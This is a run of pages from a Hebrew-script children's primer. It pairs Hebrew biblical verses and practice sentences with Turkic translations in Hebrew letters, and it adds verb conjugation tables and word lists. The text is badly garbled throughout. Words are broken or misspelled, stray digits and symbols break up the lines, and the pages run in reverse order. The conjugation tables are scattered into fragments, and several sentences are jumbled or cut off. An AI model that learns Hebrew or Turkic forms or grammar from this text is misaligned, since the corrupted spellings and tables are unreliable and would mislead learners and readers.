בָּא אֶשָר לו הַבִָת , נלרי (או כישי) כּי אָב אניג ריר. אָב אנינ
אולאן כּימסא גלדי .
מ אֶסְמַל אֶשר הָיָה לו הון רָב, דון אולדו (או כיש) ביאניג צוק מאלי ואר
אירי (צוק מאלי אולאן כּימסא דון אולדי) .
את אשר תִבְרְך מכרף , כּימי כּי אלנישלר איסג = אלנישלי דיר .
אשר תִקלל מקְלְל , כּי מי כּי קארנאר איִסְג קארגישלי דיר .
ויאמר לאשר על חבות , אָב אוזרינא תעיין אולאן כּימסאיא סוולרי ,
וירבר לאשר לה הפבעת, - יזוכ אניג אולאן קרייא סוולדי .
דורי הל עם אֶשַר שב אקאם אבימיזרא אוטוראן כּישי אילן
בְּכִיתְנוּ . 'ר,,
בבל , בַּבָל , (שהר אדי) . בְּבלֶה, בבל גא .
אשור . אשור \ (ממלכת אדי) אַשורָה , אשר :א.
ננב , נגב , קיבלא מראפי נְנַבָה , קיבלא טראפינא .
ית " אָב ביתה, אבא , אַ3 נא .
מִצְרָיֶּם , מסר , מִצְרִיָמָה , מסרגא .
מס , - שמִימָה , גצדא.
יְרוּשָלֶם , ירושלם . ירוּשָלְיָמָה , יהושלם :א .
ארֶץ כ , = ככש טפרא' | | אַרְצָה כָּנְן, כנען טופראנינא .
בי יוסף , = = יוספיג אָבִי , בִּיתָה יס , ייספיג אָבינא.
מָרְבַר דּמָּשֶק , רמשק יבאני . מִדְבְּרֶה ִּמּשָק , רמשק יבאנינא
עה , עה , | שהר אד . עזתה , עה א
מ למ * מִזְרַחַה שָמָש, נון הגושינא .
הַאהֶל 0 אול צאדיר . + הַאהְלָהּ : אול צאדירא .
לרגל הילדים 205
נפם קלמארי. בו יראמו אדם צוק סנחלר אגרילר ר אילן ימאגי אוזרינדא
אוגוטלנדי (צואסיני בולדו . אולום גונינדא נא זנגינליכ וא נא מאל פיידא
אידמזלר . אוגלנלרים ! אגר מאליג ארדינדן קוואר איסָגיז גנדיגיוא נא
פיידא אידר סיגיז + זירא מאליגיז ג'אניגיוי סיקלת גוניגיודא קורטאראמאז.
בו אָטי בוגון יז וא אנדן סבאחא קדר קאלדירמגיז. פן קולונלל רישיני
דושורדיג אכ אזזאט יוללאמאיא (כ קאלינג'א) אני אזזאט יוללאמאדיג .
חצאנא קדר בו הסטא חלאייק כּי סן אניג דישלריני דושורדיג סניג
אבינרא אוטורור וא חצאן אני אזזאט אידג'כ סין 1 קרדשימיג. אכי ביוכ
אוגלו ג'נבדא דושדו וא קלאן אוץ אוגלנלרי בבאלרי אילן או אולג'ב
גונא 0 אוטורורלר . |
בבאם בגא בוגון בגאית פייראלי (פיידא אידיגיי) כתאבלר גטירדי.
אקאמיג בש עקללי חלמירי ואר וא או אנלרא און בש פייראלי כּתאבּ
וירדי , הר ביר תלמידא אוּצָר תאב . תלמידלר בוגון מועללימלריני:
אָבינדן אבּישר ציקדילר . ביזים מועללימימיזיג אָבינדא דורט אודא ואר
וא אניג און אלטי תלמידי ואר וא תלמידלרי הר בּיר אודאדא רורטַר
תלמיד אוטורוייר לר . קלביגיזדא. סוולמָאיאסיגיז כּי ביזא אֶסְנְלִיכּ אולור
זירא ביזים מאלימיז צוק דיר דיי , זירא סיקלת גונינדא גומיש וא אל
פיידא אידמזלר . יראמז המן כּי ישראל מיללתיני קירמאיא איסטר
דראגאץ (עץ) אוזרינדא אהי . ג'ומלא דושמאנלריג יא הי אק
גאייב אולאלר . קיזלרים: סיז בוגון באל ייָר מי סיגיו 1 תלמירלרים !
סיז אורוגומיזי אוגרנדיכ דיי סוולר סיג ; סיז בוגון ביר שיי בילמייר סיגי ו.
שרה ורבקה: אגר סיז סבאח דא אורוגוגיזי בילמז אוסניז = בבאגיז
וא אנאניז סיזלרי סוומז לר , קרדשים בגא ביר איי נאר וירדי וא יידים .
קרדשים! גל וא בו איי אלמאיי דיר אוזרינדן. דושוראייב . אקאם
בחצאסינא גיטדי וא אורדא צוק גונלר אוטורדי . ו זאלים אדם חלאייגיני
דוגדי וא אניג רישלריני דושוררי . רבּביג מיללתי. אילן קאוונאסי
(ואר) וא ישראל אילן דעוואלאשיר .
הְעְצִים המשָחִים עלִירֶס מֶַלְך .
הָלך הָלְכוּ הָעָצִים למשח עְלִיהֶם מלף ויאמרו לְזית מלכה עָלִינוּ :
ימר לָהֶם הת הָחָדָלְתִי אֶה דשָני אֶשר בִּי יכְבְּדוּ אֶלְהִים וַאָנְשים
*ה
והלכתי ְנו על הְעַצִים: ויאמרו העְצִים קִתְאָגָה ְִי אַת כַרְכִי לינו
ו ו
204 לרגל הילדים
טמ וְאֶל חַסִירָיי . אֶהַלְלָה שם אֶלהִים בָּשִיר . מקר בָנִי רְדָה אלו אָר
העָמַד. יָהָה ימָטִיר על רְשָעִים אש וְַפָרִית . אנש סָרום הָיו רָעִים ורַשָעִים
מַאד ומר יְהוָה עלִיקַם אש וְגְפְרִית מן הַשמִם יַשְרָאֶל ! ָהוָה אֶלהֶיךְ
נתן לך ארי טוכה ורִחָבָה וְַרְש מַפָנְיךָ אֶת הָעָמִים אֶשָר ישבו. בָהּ .
הַקֶשִיבָה יה תִפַלְתִי . הַבִּימָה מַשָמִים וְְצִילָה את עַבְדּך יד אוַבָיו .
ְכָה בג ְאֶסַפרָה לְך אֶת אַשֶר עַשָה יְהוָה בְּמְצְרִיִם לְפַרְעָה וּלְבָל אָרְצו .
שְמָעוּ בָנִי וְאַסַפרָה ְכָם מְשָלִים טובִיס .
אגר בן אללהא טוגל קלב אילן תפלה. אידר איסם תפקה מי
מוטלאקא אשיטיר . מוטלאקא ם סאקט אל וא בוגון גיידיגיג ייגי רובאלריגי
יירטמא . אללה יראמזלר אוזרינא מוטלאקא אמש וא כוכורד יאגדיריר .
בבאמיג אביני פכ ארוולאדים נבסף ל וא יארין מוטלאקא שהרימא
גירר אים . הרכישי כי אללהיג יולו אילן גר אללה. אני הר סיקלת דן
חלאס אידר נהַצִיל) . אקלהיג. ביופ אישלרי דור דן דורא קדר חכּאיית
אולונורלר . הר כים כּי דוסטונא אכי דורלו קלב אילן סוולר איסא
אללה אני מוטלאקא קרגאר . הר מיללת כּי אללהי בילמז מוטלאקא
גאיים אולור . בן הר גון אללהא אי דפעא תפלה אידייר אים. בו הפיר
כישילר הר גון יידי כררת תפלה אידיירלר . בו אדם ביוא דושלרימיזי
יוראדי , הר גזא אניג קלבינא גורא יוראדי. בּן או עקללי אדמי גורדום
אממא ג'וואבלריני אשיטמאיא (קאלינג'א) אשיטמדים . כן ביזים אבדן
כתאבלרי צאלמיש אוגלאני גורדום אממא אגא סוולמאייא (קאלינג'א)
ביר שיי סוולמדים . קיזלרים ! סיז בוראדא אוטורוגיזוא בּן בחצאיא
ואראיים . ייגירמי בש ואשי נרא אידי פארשאהימיז פאדשאה אולרוגונרא
וא פאדשאה אולדוגוניג בשינג'י סנהסי אני; אבינא ביר קיז דוגדו. בּבא-
לרימיז ביוא אללהיג ביוכ אישלריני נקל איטדילר וא דוגאג'ק צוגיקלר
דא (בָּנים) אנלרי גנדי אוגוללרינא נקל איהדקה
קיזלרים ! בנים אילן אגאגיויי. אָבינא ואריר מי סוגיז + ביז סניג אילן
אגאמיזיג: אבינא וארא בילמו איז זירא ביז דחי אורוגומיזי אוגרנמריכ .
דון דוגמיש אוגלאן ניג אדי נא דיר + בו הפטא דוגאן קיזלריג: ארלרי
אסתר דיר . פאדשאהימי זיג סביזינג'י סנהסי מסר רא פאדשאהליק אידן
יראמז תחתינדן אנדירילדי וא אניג יירינא איי וא דוגרו קרדשי אוטורדי.
יראמזלר תחתלרינד, אנדירילירלר וא אנלרי: יירינא דוגרולר אוטורורלר .
רארליק גונינדא ונגינלוב פיידא איטמז , דוגרולוק איסא צְדְקְה) אולומדן
= - . . 5
הלאס אידד . בּנים כיציכ קיזים בגאית חסטא וא טקאתספיז דיר וא אנדא
לרגל הילדים 203
ַעְקְתו . רְאִיתִי אֶת הַלְחֶם על הַשֶלְחָן ואל לא אִבַלְתיו. הַנָּה בֶּרד לא
בְַּכְּנִי נָּם. קל לא תִקַלְלְנִי - הי אוּבָל בר אַלְיףּ מָאוּמָה. . הירע
תע כִּי מ אָבִי יַצְחָק הַוּם + אִם לא תשָמרוּן אֶת חקי יְהוָה וָתורותָיו
ידע תַרַעוּן כִּי אבר תאבָּדוּן . אָם תָּפִיל שן עבדך תִשָלְחָנו תַּתַת
שָנו. אַתָּה שַבַרְתּ אֶת גְבִיעִי ְַלֶם תִּשָלֶם לי גָּבְיע תַחַת הַנָבִיץ. הַכְרָל
הַבְרִילְנוּ" הוה מל הָעַמִים אָשָר תַּתַת כָּל הַשְמִיָס . יושבי כָל מַרִינָה
מִדיָה ועיר ועיר שמחו אַתַכל בְשָמְחַת חַת מַלְכָּ כּי הְצִילו יְהוָה מִיָד הַרְשע
אָשָר אָמר לשלח בו יָד . הַרשָעִים ברו אֶת רַעיהָם ְּלֶב לב . איש איש
אש יָדַבָּר אֶת רַעָהו בלב ולב הוא רְשָע ופעל חָמֶס. בּנִי ! דַבָּר אֶת
רעיה בּלא לֶב וְלֶב . איש איש אֶשר יְהיָה בִּית1 אִיפה וְאִיפָה גרוה
וּקְטַנָה תוַעָבַת יְהוָה הוא. כָּל סחָר וְסוּחָר אָשֶר בְּכִיסּ אָבֶן וְאָבֶ ולה
קנה - לא אַבָרְך יוה אֶת מַעָשָיו.
בשנת עשרים ושש שנה לאסא מלך יהודה מֶלֶך אֶלָה בן בַּעַשָא
על ישראל בַּתְרְצָה שְנְתִיֶם. וְאַחְאָב בן עמרי מלף על י רל בשנת
שלשים ושמנה שנה לאסא מלף יהודה וימלך אחאב בן עמרי על וע 7
בְּשמרון עשרים ושתים שנה.. בן שלשים שנה היה מלכנו במלכו. ובי
שלש 6 יצא על אויביו למלחמה ויהוה נַתֶגֶם בידו. בעת ההא
פּעִמִים שלש הכה מלכנו את אויביו וילכד את עריהם הגדולות . מאה
הכה דורי את בנו ולא לקח מוסר. המלמד קנה היום שלשה תפוחים
ונתנם לששת תלמידיו הלמדים בביתו, תפוח לשני התלמידים . תפודי
לשני התלמידים : חפוח לשני התלמידים . כן לששת התלמידים ₪
בביתו., אמי ישבה בירושלם שלש שנים ושלשה חדשים . ער מתי
אחותי תשבי אלמנה + אחותי! שָבִי אתי עוד חדש ימים וְאַחַר | תלכי
לביתך.. שבוּ לכם פה עם החמור .
לא אוכל לשבת בּביתך אַחי כִּי בִּיתְך צַר מָאר . מְאין אַמָּה וְאָנָה
תַלך ז ויפל אַבְרָהֶם על פנִיוויצְחָק וַיאמַר בלבו הִלְבָן מְאֶה שנה ל וְאִָם
שָרָה הָבַת תִּשָעִים שָנָה תָּלַד, ירע ְהוֶה רָרֶ צדִּיקִים וְרֶרֶך רְשָעִים
תאבָד . בָּנִי יה גתן לכס לב לְרְעַת טוב וָרֶע. האַנֶשִים אֶשָר ישָבו
בְּעִירָנוּ יָמִים רבּים יְצָאוּ אֶתַמַל וכו לְאַרְצֶם . אחי הַלְכו בִיתֶם, מָתִי
אלך נַם א לְבִיתִי + נוְדָע בִּיהוּדָה אֶלְהִים בּישרְאֶל דול שמו שלמה
יצְחַק ושמואָל הָיוּ חולים" הַּם ולא הָלְבוּ לית ַלַמָרֶם , ל אַתָּה ודע
אותֶם לְהֶם) אֶת חֶקֶם לְמְחֶר. הכח תובית את עָמִיתךָ . הוה הושיעה
הַמָלך.. אַשְמַעָה מה ירַבָּר הָאֶל ִאֶר , אללה) יה כִּי בר שלום אל
202
ְכר-ָא מ הוא נקי אָבָד .
ְכְרָה לחסרי רוד עפְרף :
ומר יְהוָה אָל אִבְרֶם לף לף כַארְַךּ .
לכָה וְאֶשָלְחַף אֶל פִּרְעָה .
רר לבִיחף ורסץ רגְלִיף :
ררה אלי אל תעמ .
ִבְרֶ אֶלְהִים אֶת יום השביעי וקש
אתו .
הנשוא הוח לקח לביתו את הנער שַמואֶל
בּי יָחום הוא וּגִדָּל אתו כָּבָנו .
האֶלהִים נְתַ לְבָנִי ישְרְאֶל את ארֶץ כְּגען
לְנַחָלֶה וִינָרֶש מִפָּנִיהֶם אֶת יוּשָבִית.
לא יִרָד בָּנִי עִמָכֶם .
ַיָרָר יְהוָה על הר סִנִי על ראש הַהֶר .
עוף השָמיםיוליף את הקול וכעל כָּנפִים
גיד דְּבֶר .
אֶחִי בָּא הַיום מִבִּיח מְלַמדו ויר לאב את
ָּל אֶשָר למָד .
איש איש אָשר יָפִיל שן עדו או שן
אָמְתו לְחפשִי ישלחנו תחת שנו .
הְאִיש הֶרְשָע הוֶה הַכָּה אֶת עבהו ויפל
אֶת שנִּיו .
קרגל הילדים
חטריגא נטיר אנרי , כּים דיר או (כּי)
סוצסיו (איכן) נאיוב אולרו .
דור קולוניג אייליכלרי איצון חטרינא נטיר.
בי אברם נא אמר אַגיטרי ניט גנדינא
יירינדן . ו
גל סני פרעה גא יוללאיים .
אָבינא אין (ואר) וא איאקלריני יאויקא .
אִין בגא (גַל בּנַא) רורמא (אגלנמא) .
אללה יירינג'י גוני אלנישלארי וא אני עזיו
איטרי .
בו אנא אושאק שמואלי אבינא אלדי זירא
או אוכסיו ריר וא אני גנדי אונלי
גיבי אוסטוררו .
אללה בני ישראלא פּנען טופראניני מילכ
אוצון וורדי וא אנלריג אונונרן אני
אוטורוג'ילריני סורגון איטרי .
אוגלום סיזיג אילן אנמז (גיטמו) .
וא אללה סיני ראגינינ אוזרינא ראנינ
באשונא אָנדי .
גכ קושו ססי גוטורור , וא קנאר סחאמו
ג'וואב אנלאטיר (ג'וואבי סוולר) .
קררשים בוגון מועללימיניג אָבינרן גלרי
וא בּבאמא ג'ומלא תעלים איטריניני
אנלטרי .
הר כּים כּי קולונוג יאכוד חלאויניניג דישיני
דושורור איסא אני דישינין יירינא
אוזאט יוללא סין .
בּו יראמו ארם קולונו רוגרי וא אני ריש-
לריני דושורורי .
וסף הָלֶם חָלוּם וַיִַפַר אֶת חַלוּמו לְאֶתִיו. ויאמרו לו אֶחָיו. הָמלך
תמל עְלִינוּ אם מֶשל תמש בָּנוּ ז הַגָד הִנִּירָה לי אַחותִי אֶת אָשָר לְמְרֶה
היום בָּבִית מִלִמדָהּ . אָם צַעק יצעק אליך אֶחי הָענִי שמע תִּשמַע
קרגל חילדים
אֶלְבָה לי אֶל הגְדולִים וְאִבְּרָה אַתֶם כִּי
הפה וְרָע. ִרֶף הוה משפט
אֶלַהִיהֶם .
אִבֶרְכָה אֶת יהוה בְּכֶל עֶה,
אֶלָה הַחקים וְהַמָּשָפְטִם אֶשָר פִּשָמרון
ּטֶָץ אָשֶר נְתן יְהוָ. אֶלהי
אִכוּמִיף לף .
אִבָּ מִּבְרון אֶת בָּל הַמְקומוּת אַשָר
עברו שֶם הגום אֶשָר אַתָּס
יוָרשים אהֶם אֶת אלְהִיהֶם .
שבָּר תְשבְּרון את מצבותֶם .
שָבָע ביום הילְחיף על מִשָפְטִי צר
אַחַת רִבָּר אֶלְהִים .
בְּנִי ! למדו חַקכֶם (חַקְכֶם) לא אחת ולא
שְתים .
מְכָּל הבְהָטָה הַשָהורָה ְקח לָךְּ שבְעה
שְבְעָה איש וְאָשתו .
הַמְלַמָד גְתן היום לָשִם עַשָר תלטירָיו
הִחִכָּמִים שָנִים עשר חִפְרִים סְפר
אֶחֶר סַפֶר אֶחָד קַפִלְמִיר .
שְבְעַה שָכועות. לְמַרְפִּי בְּבִית מְלַפָּרִי ,
וְשְבְעָה יָמִים לי יָמִי מָנוּחָה = יום
לשָבוָּע יום לשָבוּע אֶשֶר למָרְִי .
שמע יִשְרְאָל יְהוֶה אֶלחיני יְהוָח אֶחֶר .
שמעה יהוה חְפּלְתִי .
(חלק ראשון)
201
ואראיים (גנדימא) ביוכלרא וא אנלרא
סוולאיים (אנלר אילן סוחכת
איראיים) זירא אנלר רפפיג יולונו
אללהלריני שרעתני בּילרילר .
אללהא הר וקת חמר איילאיים .
בּבאלריניג אללהי רבּבי סנא וירריגי ייררא
סאקלאיאג'אניניו = רֶסמָלר = וא
שרעתלר בונלר ריר .
סיו אנלרי מירסלאיאג'אניניו מיללתקר
אללהלרינא עיברת איטריכלרי
ג'ומלא יורלרי מוטלאקא גאייב
אירר סיגיז (אירמלי סיגיו) .
אלרי1 סוטונלריני מוטלאקא קיראר סיניו
(קורמלי סוניו) .
סניג דונרו שריעתלרינ איצון גונדא סגא
יידי ּררת מרח סוולארים .
אללה בִּיר כּררת סוולארי .
אוגוללרים ! אורוכיניזי אונרניניו דגיל כּיר
כּררת וא דניל אכּי פּררת (צוק
כררת) .
הר פּאכ חייוואן רן גנרינא יירישר כּישיני
וא קאריסיני (ארכּכּ וא. רישי)
אַלירסון (אֶל) .
מועללים גנדיניג און אכּי עקללי תלטיר-
לרינא און אכי כּתאב ויררי , ביר
כחאב ביר כּתאב תלמירא (הר
תלמירא בּירר כּתאב) .
מועללימימינ אבינרא יירי הפטא תעלים
איטרים וא בגא יירי נון רחתליק
גונלרי (ואר) דיר , הר תעלים
איטרינים הפטא איצין בירר גון .
אשיט , אי ישראל , אללהיטיז רבפי דיר
אללהימיז ביר דיר .
יא רבּבי ! תפלוזמי אשיט .
26.
200
מִכָּל עץ הגן אבל חאכָל .
אִָם מְוָרַע היהורים מַרְרְכִי לא תוכל לו
כִּי נפל תִפול לְפָנִיוּ .
מָאן הנער לָשָכֶת אַפָּנו כּי. נקסף נכסף
לכית אְבִיו .
כּל כְּסַף..
ָרַע כִּי לה ל בת הלה .
ְהַצֶל לא הצלף אֶת עמֶּף .
איש אִיש אָשֶר יַקלֶל אֶת אָבִיוְאֶת. אמו
מות ימת .
ַמֶּף אַחשוָרוש. שלח סְפָרִים אֶל כָּל
יניו אֶל ינה וּמְדִינֶה כָכְָבָה
ְאֶל עם וָעם כָּלַשונו.
אַכִּירָה שָמִף בְּכֶל דור ודור .
דור לרור ישבּח מעשיף .
לא היה ל בְּלִיס זוא גַדוּלֶה וּקטנָה.
לא יְהִיָה לף בְּבִיחְךּ אִיפָה וְאִיפָה גַדולֶה
וקְטְקָה .
לכי נָּא וְנוּכְחָח יאמָר יְחאֶה. .
לרגל | הילדים
בחצאיי הר דורלו אנאצירן יא בילור-
סין.
אנר מררכי ישראל לר זוריעתונדן איסא
כן אנא קאריר אולמאו סין גסן
אני ינלמאו סין) מוטלאק אוגונרא
דושר סין .
ביזים = יאנומיזרא | אוטורמאיא
איסטמרי , זירא בּבּאסיניג אביני
פּכּ ארוולאמיש ארי .
פן בגא חיץ אנלאטמריג כו סניג פּסגרא
חיץ פרא קלמאמיש .
בילמאליסין כּי סגא בו נג'א. ביך. קיו
רוגדו .
מיללתיגי חלאס אירמא יא (קלינג'א)חלאס
אורמדי! .
צוצוק
הר. כּימסא כּי בבאפיני וא אנאסיני קרנאר
איסא מוטלאק אולדורולסין .
פּארשאה אחשורוש גומלא וילאייתלרינא
מכּתוכלר יוללאדי , הר וילאייתא
אניג יאזיסי נָבּי (אנינ יאזיסינג'א)
והר מיללתא אניג דילי גיב (אניג
רולינג'א) .
אריני הר דור דא סאגונדיראיים .
יה דור ביר רורא אישלריגי מהח אורר .
טאקיליגדא (אולצו סאניטיגרא) סניג אכי
רורלו ביופ \ וא = כּיצוב; טאשיג
אולמאסין .
אָכינרא סניג אכי רורלו , ביוכ וא כּיציכ
איפָהג אולמאסין .
ואריניז אנדי (גליניו , האייריניו) וא
דעוואלשאייק הֶר רפּבי .
יָע כעל' אֶרָע) בילרי ,
נוחעוי, בילינדי ;
הודוע , בילריררי
| | בייאן איטדי .
נוכז (וכח) דעואלשרי ,
הוכיח אוגוטלרי ,
נאסֶב איטרי .
הַתְוְכַ, דעוואלשרי ,
ילף (עבר קוללאנילמייר
עת' ילף) = וארדי ,
הוליף , גזרירדי ,
גוטוררי .
נוחר (יתר) קאלרי, אַרְטרִ,
הותְיָר קאלרירדי ,
ארטיקסי קאלדיררי,
נושע (ישע) , קורטולרו ,
חלאס אולדו. הושיע /
קורטארדי , חלאס
איטדי ,
הועול (יעל) פיידא איטדי.
מָאם (עת' יָמָאָס) כור
איטדי,איכרה איטרי .
על (עה' יִנְעַלִ) בּפִי ,
איכרה איטדי .
משח , (ימַשַח) סורְטָרי,
סילְדִי- מְשַח מֶלְךּ,
פאדשאה (סילרי)
דיכדי.
דרש דִּרְשו השפטום את בְּבַר. הָרִיב
אַשֶר הָיָה לאְבִי עִם הַכְשִיא .
האס מְאַסְסָּאֶת יְהוָרה אֶם בְּצִון נְעְלָה
נפשף ?
לרגל הילדים
חרל (עת* יחרל) ואז גצרי,
חִִלְתִי את בָּשָנִ,
סמיזליגימי ואז נצרים,
בנדא סמיזליּ קלמאדי,
נלחם (לחם) ג'נכ איטדי
ג'נכלשרי .
ארזולאדי .
קל , קרגאדי. סובּדי. .
הלל מאכטאדי, מַרְת
0 איטדי , חַמָר איטדי
(הַלֶלועָהללו ,הללו
מִחַלְלִים --
דגשסיז) .
שבח , המראיטדי + מָרָחָ
איטדי .
נֶע , אבארא אולדו , קסוות
1 אוטדי, לוע קסוות
אידמְאִיא .
דור 2 רב" דורים 1 או
דורות 11א) ז' ,דורי
עַמִית (%1) זי, דוס .
מירוש , () ז' מייבא סויי
שִרָא .
99
מתָ (זוו) ז' ראטליליק,
מָרינח, (תחא) נ', וילאיית .
מנוחה () ב'; רתתליק.
נפרית , נ'י : כוכורר .
בּתֶבָ , 1. ואזי.,
חִפְּשִי ,
לחפשי , אזזאת איטרי.
לבנון | (אריץ ישראל דא
אולאן דאגיג אדי
לבָנון .
קטן, קטן (קטנָה. קטנים
קטנות) כיציכ
לאמר | די היירכ ;
כּי , מו ; אנר :
נָא , (ריג'א דא) כּרם
איילא, שומדי. ,
יצָא, תִצָא, ציקאר, ציקסין.
הָיָה , הְּהְיָה , אולור,
. אולסון /
מות יוּמַת , מוטלאקא
אוּלרורולסין .
בא , לי + באו , גליגיז.
חִסָה , סיגינדי > חסו ,
סיניניניז .
שרעתצילר בבאמי אנא אולן אולאן
קאוונאפינינ
מסלחתיני = איונ'א
ארארילר .
יהודה ני כור איטרינ פי יוקסא ג'אניג ציון
ני איכרה אוטרו מי ?
18 לרגל הילרים
ִִבָּר , וַיִרְבָּר ; ישָבָּר , וַישַבָר .
ַמְטִיר , וִַמְמַר ; ל , ופל .
עָרש, ורש ; | יָבְרְך . ויברך >
ָכִד, מלָבָד ; = = לְחֶס, וַילְחָם .
"לרק פד .
שיב וַישב
ושב , וישָב
ורד , וירד ;
יאכל , ויאבל , ויאכל ,
-- יאִמָר , ויאִמָר, וִיאמך
אכל , וָאכָל , וָאבְר
אשמ , סאקלאר אים > = | אָשָמְָרָה , סאקלאיים ;
אכ , = סאנניר אים .= = אִזְבָרָה, = סאגינאיים .
אשָמַר , סאקט אולור אים . = אֶשָמָרָה , פאקט אולאיים
אָבְָך אלנישלאר אים .| אברכה | אלגישלאיים .
אתל , דושורור אים . אפילה , | דושוראיים .
שָמר = שָמָרָה, = וְכר = זכְרָה
שָכֶב = שַכְבָה, | שְמע= שמְעה
בד =ה. לף = לְכָה
רו = יכָּרן , = תִשָמְרו = תשמָרון . = תִשַמְרו = תשָכךון י
ְַתְּבוּ= יכְתְבוּן . = תִפְקרו = תפקדון + | יְכְַכוּ. = ִכֶתּן י
ישככו = ושכםו]:,- = שמעו = תִשמעון | השעי == תשמעון י
ברו = ישְבְרון | תִּלְמְדוּ = תלמדוּן . | | ילמרו. = ילמדון .
בו = ישבון.. לדו = ילדון : פשבו = תשבון .
יורידוּ. == רידוּן תדיעו == = תוריעון
1
אָשָמר , אֶשִמְרָה , אַשְמְרָה . א , אַכְרָה , אבְרָה .
אֶשָמַע, -אשמעה , אשמעה , אשַכב, אֶשָכְּבָה, אִשְבְּבָה .
אִשָמַר, אָשָמְרָה , אֶשְמְרָה , אָבֶרך אָבְרְכָה , אָכְרְהָה +
זכר; וְכרֶה, דַּרֶה, | שמר, שְמְרֶה, שָמְרָה .
, :0 : ד 4 +
שְמַע י שְמעֶה, שמַעָה, כר, רְרֶה, רְדַה',
לרגל הילהים 197
הפ"א
| הפעיל הפעל | התפעל
ירך , אנדי. ירך , אנדי . ידע, בילרי .
הוריד , אנדיררי . הוּרד , אנדירילדי.. התודע , בּילינרי .
לזכר | לנקבה לזכר | לנקבה | לזכר | לנקבה
הוּרַרְתּ הורַרְת הורדת הוררת התודע הַתודָּעַת
הורְרְתי הוּרְרְתִי הורדתי הוְּרְת התודעתי התודעְתִי
הורידו הורידו הוּרדו הורדו התודע הַתוְדְעו
הורְרְתָם הורדְתן הוּרְדקָם הוּרְרְתָן התוּדעְתָם הַתוִּעַתָן
הורְרְנו הוררנו הוּרדנו הוּרדנוּ הַתודַעְנו התודעטו
יורִיד
תוריד
אורִיד
יורִידו
תורידו
נוריד
יָתוְדַע = | תִּתודּע
תּתודּע | תִתַודּעי
תודע | אֶתודּע
תודעו | תִּתְודּענָה
תִתוַדְעוּ | תִּתְוְדַענָה
תודע | נָתודּע
אוריד
תורְרְנָה
תרֶרְנָה
נ נוריר
אוּרָד | | אור
רָדוּ = | תוּרַדְנָה
תוּרְדוּ = | תוּרְרְנָה
נורד | נּרַד
הורר
הודירו
הרוי
הוּרְֶנָה
הַתְוַדּעַ = | הַתודְּעִי
ו 2
6
ו
8 - .א 06
הּרִיר = | הוּרִירָה 1 הוּרָרָה 5 הִתְנדַע = | הִתְוְדעָה
| חִתוַדעָנָה
מוריר
מורידים
מּרידָה
מורִידות
מרָד | || מרָרָה | מתודע | | מְתוַדעה
מּרָדִים \ | מוּרְדוּת. | מִתְנַדּעִים | מִתוַדעות
ב
תוריד | | ירד תורד
תורידי | | תוּרר תורדי
נפרר הורד
הוריר
התודע
התור
16
א | הפרי ה7ש*אמצומר
\ --
| קל | נפעל
| שב , אטוררי . לַ, הגורחו .
נולד, דורי .
לזכר נקבה. = | לה | לנקבה
ישב ישְבָה נולָד נוּלְדָה
| שמ | | יש ...| ללְתָ. --.,.| ולדת
| יָשְבְתִי יְשַבְתִי נולָרְתי נלרָתִי
ישבו ישבו נולדו נולדו
= דן : דן 5 2
ישַבְתָם | | ישְבְתָן | |נהחְקם * == | נלרפָן
יְשָבְנוּ ישָבְנו נוּלדָנו נולדנו
שב 2- ילד תולד
, | פָשָב תִשְבִי = | לד לי
- |אֶשָב אשב אוְקָד אָוּלַר
2 | ישבו תַּשָבְנָה יוּלדו תוּלְדְנָה
= זו דן:
5 תַשְבְנָה = | תִוּלְדוּ תולדגה
שב 3 לד לד
2 שב שבי ור %
₪ שבו שְבְנָה תִוּלְדוּ .
4 | המ ה . .
> | ישב יושבה טָכת' | נוֶּד נולְדַ לַרָתי
ל | ישְבִָים יושבות. := | לְדָים נולֶדות
₪1
|-פהה ושב
|נסמףּ - שבת הוּלד
3 5
לרגל היכדים 15
איש איש, הר כישי .
דור דור , הר דור .
מדור דּור, דור דן דורא קדר .
מִשָפָּחָה וּמְשְפָחָה , הר משפחה
עס ועם , הר מיללת ;
דור הדור, הר דור .
לדור ודור , הר דורא , דור דן דורא
לב ולב , אני דורלו קלב .
אָבֶן וָאָבָן , אכי דורלו טאש .
אִיפָה וְאִיפָה , אנ סיי אִפָה
(אִפָה , זהרא אולצוסיניל אדי)
אַחת בַּשָיָה , סנה דא ביר כררת .
שָבְעַ בָּום , נונדא יידי כררת .
פָּעמִיִם שלש , אכי כררת וא אוץ כררת .
שנים שנִים , אכישר אכישר (אכישר)
שבעה שבעה, יירישר יירישר (יירישר).
בְּשָנַת שלש למַלְכו , אניג פאדשאה אולרוגוניג אוצונג'י סנהפינרא .
| בָּשנַת עשרים לירְבעם , ירבעם. ניג ייגירמינגיי פנהסינרא .
> שא א6
1%
בְּשָנַת שמנָה עַשָרָה לְמַלְכָּנוּ , פאדשהימיזיג און סביזינגיי סנהפי .
בְּשנַת עשרים וְשַש שָנָה לְאפא , אפאניג ייצירמי אלטינג'י פנהסי .
בְּשָנת שלשים וּשֶמנָה שָנָה לְאָסָא , אפאניג אוטוז סביזינג'י סנהסי .
אָבַר, נאייב אולדו . עתיד , יאבר, גיאבך), אכר, יאברו | גיאבָך0 ,
מָקּר מָבר, בְּאָבר, בּאָבר , לאָבד וכו" .
אָכָל, יייי , עיר, יאכל | (יאבל); אבל ; יאכְלוּ: (יאכלו), תאכלנה .
צווי , אָכל , אכְלוּ; ; בינוני , אכל, מקור , אָכל בּאָבל לאָכל .
אָמר, ו כ יאמר , ו + אמר; - 1% /
ור ד ד
14 לרגל הילדים
יברך את כְבָרְכִיךָ , אחותי ! אל תחרפי את מַחֶרְפֶיךָ . האלהים יְכַבְּסְך בָּמִי
קדש ותטהר . תכבְּסְנִי ומשלג אבי חָלְבִּין, בייאז אולדו) . יהוה יְאַבָּרךָ
מארץ חיים. אלהי ! רחם את ביתף הַתֶרֶב , וקדשהוּ וְטהָרָוּ כימים
ראשונים . אביף הְַבִּישַף בגדי משי ַאָבִילְ חַמְאָה וחלב ורבש , על כן
כִּבְּרְהוּ ואל תִּטִשָהו תמשנ בימי זקנתו . אתמל לא הָבִּירְַנִי אמי וְאַת
אחותי הַבְּרְתנִי. מלמדנו מת. אתמל מפני המגפה אשר שלה יהוה על
עירנו. הוא היה מקר"לב וישר דרך , ומרחם עניים ואביונים וכל ידְעיו
ּמַכִּיוו התאבלו עליו אָבָל כבד .
דושמאנלרימיז ביזי3אייב אידמייא איסטדילר . אללהים : סן אנלרי
גנדילרי גיבּי יראמזלריג אלינא דושור. בּן יאגמור סויי איצא בילמס . קאר
סויייאגמור סויינדן אי דגיל דיר . בו שהר ביוכ וא דילבר דיר אממא
סויי איי דגיל, אניג סויי יאגמור סויי דיר. אללה מסר | ינוג סוייני
